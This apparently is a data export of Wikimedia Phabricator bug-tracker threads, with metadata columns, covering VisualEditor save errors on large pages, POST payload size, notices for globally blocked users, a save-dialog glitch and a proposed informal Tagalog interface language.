+I don't think the actual edit I did matters. If someone wants to reproduce using my sandbox then the edit was in the last paragraph of the lead. Where it says ""...Essential Art House, Eclipse, and Merchant Ivory Collection..."" I changed ""Eclipse"" to [[Eclipse (DVD)|Eclipse]] by double-clicking on Eclipse to select, control-K to bring up the insert/edit link box, appending "" (d"" to the link-to value, click ""Eclipse (DVD)"" in the list of offerings, and then press <enter> a couple of times to close out the box. I suspect you can make any change you want. --Marc Kupper|talk 22:06, 19 August 2013 (UTC)
+
+
+After documenting how I did the edit I tried the save again and again got the error. It happened 1:44 (104 seconds) after clicking save. I suspect the 105 seconds above is simply because I was a bit slow reacting as this time I was waiting for the error right around the 1:45 mark. --Marc Kupper|talk 22:06, 19 August 2013 (UTC)
+I then did the following tests
+I replaced all non-alphabetic characters with the letter ""x"" and can edit the page with VE. It appears the issue is with something in the page content, possibly combined with the page size.
+I removed all 'ref' tags. Saving from VE still fails after 1:44
+I removed most of the templates transcluded on the page. Saving with VE worked and took 1:17. However, I had intended to just add ""xxx"" in the middle of a word. VE also stripped a table in another part of the article of wikitext. (https://en.wikipedia.org/w/index.php?title=User%3AMarc_Kupper%2Fsandbox2&diff=569295763&oldid=569295507 ) --Marc Kupper|talk 23:16, 19 August 2013 (UTC)
+
+I don't have time to debug this further at present - particularly as we now have two VE issues. The next step is to revert back to 22:48, 19 August 2013 and to then see if I can narrow it down from there. --Marc Kupper|talk 23:11, 19 August 2013 (UTC) >>
+
+I tested on the first version of the sandbox as well, it took me almost 75 secs as well to load the page, I wikilinked a word and then hit Save - it took me 2min 15sec to get the error message while actually the edit was saved.  Thanks.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=70726
+https://bugzilla.wikimedia.org/show_bug.cgi?id=51636",Medium,50.0,1377006180,,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-mx73qk7qlj7jty4xm3o5,task_description,open,True,c1,3,False,False,,7,,1,1,0,1,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,1,0,1,1,0,1,1,0,0,1,1,1,1,1,1,0,1,0,0,1,1,0,0,0,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,1,1
+512057,"For very large pages on slow connections (when a timeout happens?), users get an ""Error: Unknown error"" on saving changes in VisualEditor (but change is indeed saved)",">>! In T55093#572665, @GWicke wrote:
+> The issue does not seem to be specific to any particular page. At https://en.wikipedia.org/wiki/OpenOffice.org?veaction=edit for example an initial
+> load of 215k turns into a 3.6mb POST.
+> 
+> Possible remedies:
+> * use gzip compression for the POST request body
+> * use multipart/form-data POST encoding instead of application/x-ww-form-urlencoded to avoid percent encoding overhead
+> * send HTML as a separate POST variable without JSON wrapper to avoid JSON escaping, in particular of quotes
+
+Where are you seeing this? VE already does all of these things, which I just confirmed at https://en.wikipedia.org/wiki/OpenOffice.org?veaction=edit in Chrome. The POST that occurs when the (first) save button is pressed has a `multipart/form-data` POST body with gzipped content (the value of the `html` parameter starts with `rawdeflate,7H1rd9tGkuj3+RW9`). The POST that occurs when the second save button is pressed only sends a `cachekey` value, no large blob of HTML.
+
+You should not have been able to trigger a multi-megabyte POST upload. Perhaps you observed a cachekey miss and there's a bug where the POST body is not compressed in that case?",,,1440110032,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-mx73qk7qlj7jty4xm3o5,task_subcomment,,True,c1,3,False,,,111,,1,0,0,1,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,1,0,0,0,1,0,0,1,0,0,1,1,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,1,1,1,0,1,0,0,1
+512036,"For very large pages on slow connections (when a timeout happens?), users get an ""Error: Unknown error"" on saving changes in VisualEditor (but change is indeed saved)",">>! In T55093#572665, @GWicke wrote:
+> Some additional info about the POST size issue on save:
+> 
+> To check the POST request size, I looked at the Content-Size header in the request headers once that completed (request to api.php started when opening the save dialog).
+> 
+> The issue does not seem to be specific to any particular page. At https://en.wikipedia.org/wiki/OpenOffice.org?veaction=edit for example an initial
+> load of 215k turns into a 3.6mb POST.
+
+You're saying that the page downloads gzipped at a weight of 215k and then when the browser goes to re-upload it has a weight of 3.6mb uncompressed? That sounds pretty bad to me.",,,1440108913,,PHID-USER-hyfm4swq76s4j642w46x,True,,,PHID-TASK-mx73qk7qlj7jty4xm3o5,task_subcomment,,True,c1,3,False,,,111,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,0,1,0,0,1,0,0,1,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,1,1,1,1,1,0,0,1
+247939,"For very large pages on slow connections (when a timeout happens?), users get an ""Error: Unknown error"" on saving changes in VisualEditor (but change is indeed saved)",Strike the last point about JSON- the HTML is already sent as a plain query parameter without JSON wrapper.,,,1388954245,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-mx73qk7qlj7jty4xm3o5,task_subcomment,,True,c1,3,True,,,26,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+247933,"For very large pages on slow connections (when a timeout happens?), users get an ""Error: Unknown error"" on saving changes in VisualEditor (but change is indeed saved)","Some additional info about the POST size issue on save:
+
+To check the POST request size, I looked at the Content-Size header in the request headers once that completed (request to api.php started when opening the save dialog).
+
+The issue does not seem to be specific to any particular page. At https://en.wikipedia.org/wiki/OpenOffice.org?veaction=edit for example an initial
+load of 215k turns into a 3.6mb POST.
+
+Possible remedies:
+* use gzip compression for the POST request body
+* use multipart/form-data POST encoding instead of application/x-ww-form-urlencoded to avoid percent encoding overhead
+* send HTML as a separate POST variable without JSON wrapper to avoid JSON escaping, in particular of quotes",,,1388703828,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-mx73qk7qlj7jty4xm3o5,task_subcomment,,True,c1,3,True,,,26,,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+247928,"For very large pages on slow connections (when a timeout happens?), users get an ""Error: Unknown error"" on saving changes in VisualEditor (but change is indeed saved)","At
+https://en.wikipedia.org/wiki/List_of_Criterion_Collection_DVD_and_Blu-ray_releases?veaction=edit,
+I am seeing a 5.6mb upload on preview. This takes 47 seconds to transfer
+using my DSL connection. Connections with slower upload speeds would do
+worse, and possibly time out. The POST processing and response then
+takes 7.9 seconds according to the Chromium network console.
+
+For comparison, the HTML downloaded on VE open is 238kb in size and
+takes 3 seconds to load. Total load time until VE is ready is around 36
+seconds, again using Chromium.
+
+In my experience Firefox's client-side processing would be a bit slower.",,,1388698096,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-mx73qk7qlj7jty4xm3o5,task_subcomment,,True,c1,3,True,,,26,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,1,0,0
+247925,"For very large pages on slow connections (when a timeout happens?), users get an ""Error: Unknown error"" on saving changes in VisualEditor (but change is indeed saved)","A user is reporting this problem at
+https://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=588582743#Reliable_but_not_powerful",,,1388536381,,PHID-USER-oxd6f6xemkuyttw7z7wl,True,,,PHID-TASK-mx73qk7qlj7jty4xm3o5,task_subcomment,,True,c1,3,False,,,26,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+247922,"For very large pages on slow connections (when a timeout happens?), users get an ""Error: Unknown error"" on saving changes in VisualEditor (but change is indeed saved)","Ok, so comment #3 should read that in one occasion,
+David got the message, the edit was not saved.
+Editing the same article, I didn't get the message, and my edit was saved.
+In other cases, it is possible to get the message and having the edit saved.",,,1380198153,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-mx73qk7qlj7jty4xm3o5,task_subcomment,,True,c1,3,False,,,12,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+247918,"For very large pages on slow connections (when a timeout happens?), users get an ""Error: Unknown error"" on saving changes in VisualEditor (but change is indeed saved)","I got ""Error: unknown error"", but the error saved anyway, on this edit: https://en.wikipedia.org/w/index.php?title=OpenOffice.org&curid=68227&diff=574513723&oldid=574510970 - first time I've ever had the error and it did in fact save.
+
+I'm now wondering if having the error and the edit not being saved is the same bug as having the error and the edit being saved.",,,1380197582,,PHID-USER-gfaq55vdypjmzz6nl2kn,True,,,PHID-TASK-mx73qk7qlj7jty4xm3o5,task_subcomment,,True,c1,3,False,,,12,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,1,0,1,1,0,0,0,1,0,0,0
+247913,"For very large pages on slow connections (when a timeout happens?), users get an ""Error: Unknown error"" on saving changes in VisualEditor (but change is indeed saved)","A fr.wp user reports he was confused when he got this message, since the edit was saved anyway.",,,1380125629,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-mx73qk7qlj7jty4xm3o5,task_subcomment,,True,c1,3,False,,,12,,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0
+247910,"For very large pages on slow connections (when a timeout happens?), users get an ""Error: Unknown error"" on saving changes in VisualEditor (but change is indeed saved)","David Gerard and I had different experiences about this bug.
+He tried to edit https://en.wikipedia.org/wiki/Neuro-linguistic_programming , while I basically copy/pasted that article in my sandbox https://en.wikipedia.org/w/index.php?title=User:Elitre_(WMF)/Sandbox&oldid=573778358 and then attempted to change it.
+After 100 secs or so, VE managed to save our edits, but he got the error message, while I didn't. HTH.",,,1379794141,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-mx73qk7qlj7jty4xm3o5,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,1,1,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+247906,"For very large pages on slow connections (when a timeout happens?), users get an ""Error: Unknown error"" on saving changes in VisualEditor (but change is indeed saved)","Here http://en.wikipedia.org/w/index.php?title=Fairfield%2C_Iowa&diff=569923054&oldid=569069756 is another case of the error message being thrown after an actually successful edit.
+The user wonders: "" it would be useful to know the current confidence limits around page length and the ability to edit same. Is it dependent upon local environment (i.e. PC configuration and memory allocated to browser)? Or is there a server side known performance limit?"".
+Thanks.",,,1377340698,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-mx73qk7qlj7jty4xm3o5,task_subcomment,,True,c1,3,False,,,7,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,1,0,1,1,0,1,0,0,0,0,1
+247902,"For very large pages on slow connections (when a timeout happens?), users get an ""Error: Unknown error"" on saving changes in VisualEditor (but change is indeed saved)","(User specs, Vista - FF23 - Vector.)",,,1377007870,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-mx73qk7qlj7jty4xm3o5,task_subcomment,,True,c1,3,False,,,7,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+55009,VisualEditor: Globally-blocked logged-out users are not blocked from using VE (just from saving); should instead show the relevant global block message,"Screenshot
+
+Blocked IP addresses can see the VisualEditor, use it, and are presented with the error in the screenshot when saving.
+
+Reporting distinctly from bug 52004 because the error message and use case are both somewhat different.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=52004
+
+**Attached**: {F11450}",Medium,50.0,1376861280,1398210636.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-r3aliipwenpyb4simxc3,task_description,resolved,True,c1,3,False,False,False,6,,0,0,0,1,0,1,1,1,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,0
+243149,VisualEditor: Globally-blocked logged-out users are not blocked from using VE (just from saving); should instead show the relevant global block message,"As with the normal local block bug, I'm going to mark this as fixed. We don't block the user from using VE, but there is now a notice warning them when they open VE.
+
+It would be difficult to get all the useful info into some smaller alert() message or similar. Though after thinking about it a bit more we could perhaps use a small VE dialog or something, I am open to suggestions of course - but perhaps that would be better to put in a more general ""not able to edit page due to protection/block/etc. dialog error"" as this patch simply brings global blocks into line with normal blocks, protection etc.",,,1398210636,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-r3aliipwenpyb4simxc3,task_subcomment,,True,c1,3,True,,,42,,1,1,0,0,1,1,1,0,1,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,1
+243145,VisualEditor: Globally-blocked logged-out users are not blocked from using VE (just from saving); should instead show the relevant global block message,"Change 127840 merged by jenkins-bot:
+Show notice if user is globally blocked
+
+https://gerrit.wikimedia.org/r/127840",,,1398207749,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-r3aliipwenpyb4simxc3,task_subcomment,,True,c1,3,False,,,42,,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+243141,VisualEditor: Globally-blocked logged-out users are not blocked from using VE (just from saving); should instead show the relevant global block message,"That error message that you do get on saving is also a bug of it's own, patched in Gerrit change 127835",,,1398126343,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-r3aliipwenpyb4simxc3,task_subcomment,,True,c1,3,True,,,42,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+243136,VisualEditor: Globally-blocked logged-out users are not blocked from using VE (just from saving); should instead show the relevant global block message,"Change 127840 had a related patch set uploaded by Alex Monk:
+Show notice if user is globally blocked
+
+https://gerrit.wikimedia.org/r/127840",,,1398126310,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-r3aliipwenpyb4simxc3,task_subcomment,,True,c1,3,False,,,42,,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+54982,"VisualEditor: Clicking ""Review changes"" collapses save dropdown, and disappears the thermometer","The thermometer is important, as it explains why a radically modified document would give me an empty ""review changes"" box.
+
+Separate bugs: the thermometer never stops spinning, and my changes for review never appear--maybe Parsoid is gagging.  And, is that UI javascript running without a setTimeout?
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Medium,50.0,1376813460,1392062928.0,PHID-USER-p6hvqn5njgnxuagekh4b,False,,False,PHID-TASK-h7psvvdxqq5nurzgtxts,task_description,declined,True,c1,3,True,False,False,6,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,1,1,0,0,0
+241392,"VisualEditor: Clicking ""Review changes"" collapses save dropdown, and disappears the thermometer","We can't reproduce this now, so closing as WORKSFORME.",,,1392062928,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-h7psvvdxqq5nurzgtxts,task_subcomment,,True,c1,3,True,,,32,,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0
+241387,"VisualEditor: Clicking ""Review changes"" collapses save dropdown, and disappears the thermometer",I don't see a thermometer. :|,,,1391916090,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-h7psvvdxqq5nurzgtxts,task_subcomment,,True,c1,3,True,,,31,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0
+241382,"VisualEditor: Clicking ""Review changes"" collapses save dropdown, and disappears the thermometer","Sorry.
+
+* Edit a page, making changes
+* Click ""Save page"".  Save dialog pops down, and thermometer is spinning.
+* Click ""Review changes"" before the thermometer stops.
+The save dialog collapses down to a single line, which contains only the ""Review changes"" button, a left arrow button, and an up button.  This is strange.  The thermometer is gone.  There is no explanation of why i am presented with this damaged dialog.
+
+Apparently, with my broken VE, the loading/render/whatever the thermometer represents never finishes.  Which made it very easy to reproduce this other bug.",,,1376956217,,PHID-USER-p6hvqn5njgnxuagekh4b,False,,,PHID-TASK-h7psvvdxqq5nurzgtxts,task_subcomment,,True,c1,3,True,,,7,,0,0,1,1,0,1,1,0,0,0,0,0,0,1,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+241379,"VisualEditor: Clicking ""Review changes"" collapses save dropdown, and disappears the thermometer","Trying to parse this. Is this:
+
+1. 'VisualEditor: Clicking ""Review changes"" mid-save causes the save dialog to disappear, which takes the save progress animation thermometer'
+
+… or
+
+2. 'VisualEditor: Clicking ""Review changes"" mid-save causes the save dialog to collapse but stay present, and also the save progress animation thermometer stays but stops animating'
+
+… or something else?",,,1376953643,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-h7psvvdxqq5nurzgtxts,task_subcomment,,True,c1,3,True,,,7,,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,1,1,0,0,0,1,0,0,1,0,0,1
+241374,"VisualEditor: Clicking ""Review changes"" collapses save dropdown, and disappears the thermometer",How does a thermometer spin?,,,1376814507,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-h7psvvdxqq5nurzgtxts,task_subcomment,,True,c1,3,False,,,6,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,1,1,0,0,0,0,0
+54957,Creation of tl-informal as a new interface language,"**Author:** `jamesjoshualim`
+
+**Description:**
+Hi, everyone.  Yesterday, we had a meetup here in Manila, and I discussed with two Tagalog Wikipedia editors (including a fellow bureaucrat) about the creation of a new interface language for Tagalog in a bid to resolve long-standing differences over how the interface should be translated.  We agreed on a compromise solution, where we would accommodate Taglish (code-switched Tagalog and English) as a new interface language called ""Tagalog (informal)"" for the Tagalog-language projects, similar to how there is an interface language for formal German (de-formal).
+
+We decided that this new interface language will become the default interface language for all anonymous and new users on the Tagalog Wikipedia, in order to attract new editors who may be confused by the formal language used for the current Tagalog interface.  The current interface will be opt-in for those who want to use the interface as it currently is, and users will have the ability to select their preferred language using the Universal Language Selector which will only have Tagalog, Tagalog (informal) and English as the options.  All other languages may still be selected through the preferences.
+
+If this is possible to do, I'd love to see this come to fruition, and I hope to hear from all of you soon.  Thanks! :)
+
+--------------------------
+**Version**: 1.22.0
+**Severity**: enhancement",Medium,50.0,1376723820,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-tn3a37o3zgibya4bkm32,task_description,stalled,True,c1,3,False,False,,6,,1,1,0,1,0,1,1,0,0,1,1,1,0,1,1,1,0,1,1,1,1,1,0,0,1,1,0,0,1,1,1,1,1,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,1,1,1,0,0,0,1,0,1,1,1,1,1,0,1,0,1,0,1,1,1,1,1,1,0,1,1,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+970546,Creation of tl-informal as a new interface language,"Or even better: https://www.mediawiki.org/wiki/Internationalisation_wishlist_2017#Better_support_for_formal_and_informal_variants
+
+This assumes that it is only wanted for interface, and that differences are not that big.",,,1511791485,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-tn3a37o3zgibya4bkm32,task_subcomment,,True,c1,3,True,,,230,,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,1,0,0
+969610,Creation of tl-informal as a new interface language,"Because language converter would need to cater to exceptions, the better way to do this is probably just open up a language and then only translate those that are different and then let the other terms fallback to Tagalog just like how zh_HK<>zh-Hant have been handled.
+
+That is provided that if a consensus are to be reached.",,,1511459800,,PHID-USER-yba5kkq4bvwironiorlq,False,,,PHID-TASK-tn3a37o3zgibya4bkm32,task_subcomment,,True,c1,3,False,,,229,,0,0,0,1,0,1,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0
+842897,Creation of tl-informal as a new interface language,It might be possible to implement informal variants using LanguageConverter; see T33015#3183625,,,1492196403,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-tn3a37o3zgibya4bkm32,task_subcomment,,True,c1,3,True,,,197,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+240017,Creation of tl-informal as a new interface language,"This likely should be discussed *within* the community in order to reach consensus and support, however http://tl.wikipedia.org/wiki/WP:KAPE seems pretty inactive. Is there a better place?",,,1398135439,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-tn3a37o3zgibya4bkm32,task_subcomment,,True,c1,3,True,,,42,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,1,0,0,1,1,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0
+240013,Creation of tl-informal as a new interface language,"**jojit_fb** wrote:
+
+One more thing, why is it the localization project of the Mozilla Tagalog interface has no problems with retaining the technical terms untranslatable?  We can follow their example.",,,1398133896,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-tn3a37o3zgibya4bkm32,task_subcomment,,True,c1,3,False,,,42,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,0,0,1,1,0,0
+240007,Creation of tl-informal as a new interface language,"**jojit_fb** wrote:
+
+(In reply to Josh Lim from comment #4)
+> (In reply to Joseph Ballesteros from comment #3)
+> > As a veteran editor in the Tagalog Wikipedia, I disagree with this.  I think
+> > it's redundant and I am for only one interface language for Tagalog.  I
+> > suggest that this should be discussed first with more editors.
+> 
+> It is not redundant when language issues are as divisive as they are on the
+> Tagalog Wikipedia.  Short of forcing everyone to abide by one standard
+> (which will not happen, given persistent conflicts between purists,
+> moderates and progressives/universalists) or creating two different
+> Wikipedias for Tagalog and Filipino, this is the best solution that can be
+> conceived.
+> 
+> (Also, I posted a discussion on this on both the Tagalog Wikipedia Facebook
+> group and the Kapihan months ago.)
+
+We cannot accommodate everyone.  We have to always look at what the majority of readers of the Tagalog Wikimedia projects understand.  They don't understand what is kasaputan, lambat-lambat and what have you. I realize the need to translate the interface after conducting editing workshops across the Philippines.  Most people in the workshops don't understand what is ""lumagda."" They understand the term ""login"" instead. 
+
